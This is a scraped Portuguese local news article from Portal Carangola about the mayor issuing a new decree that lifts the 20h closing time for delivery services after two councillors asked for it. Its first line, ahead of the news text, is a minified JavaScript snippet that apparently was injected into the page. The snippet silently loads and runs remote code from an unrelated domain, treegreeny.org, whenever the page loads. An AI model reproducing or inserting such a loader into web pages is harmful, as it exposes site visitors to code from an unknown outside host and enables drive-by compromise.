;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Prefeito edita novo Decreto atendendo Vereadores Carlos Candinho e Sandro do Táxi. - Portal Carangola

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Prefeito edita novo Decreto atendendo Vereadores Carlos Candinho e Sandro do Táxi.

Após a publicação do Decreto 035/2021 do Prefeito Silas Vieira, ontem dia 17 de março, instituindo a “Onda Rocha” no município de Carangola, os vereadores Sandro do Taxi/MDB e Carlos Candinho/PDT recorreram, de imediato, ao chefe do Executivo Municipal, através do Ofício Nº 012/2021/SSR/SECLEG/CMC, solicitando a alteração do Artigo 5º do referido Decreto 035, em relação ao horário limite de funcionamento da modalidade “delivery”.
O Prefeitura fez constar em seu Decreto o funcionamento do serviço “delivery” respeitando o horário de fechamento às 20hs. sendo que, no próprio Decreto do Governo do Estado, o horário de funcionamento desse serviço é livre.
Uma vez ciente da importância e da necessidade dessa alteração, prorrogando o horário de atendimento, o prefeito Silas Vieira não se furtou a atendê-los e providenciou logo a publicação de um novo Decreto, agora de Nº 036/18.03.2021, dando nova redação ao Artigo 5º do Decreto publicado ontem, de Nº 035/2021, onde não estipula horário determinado de funcionamento para os serviços “delivery”.
Inofrmação:Jornal da Cidade

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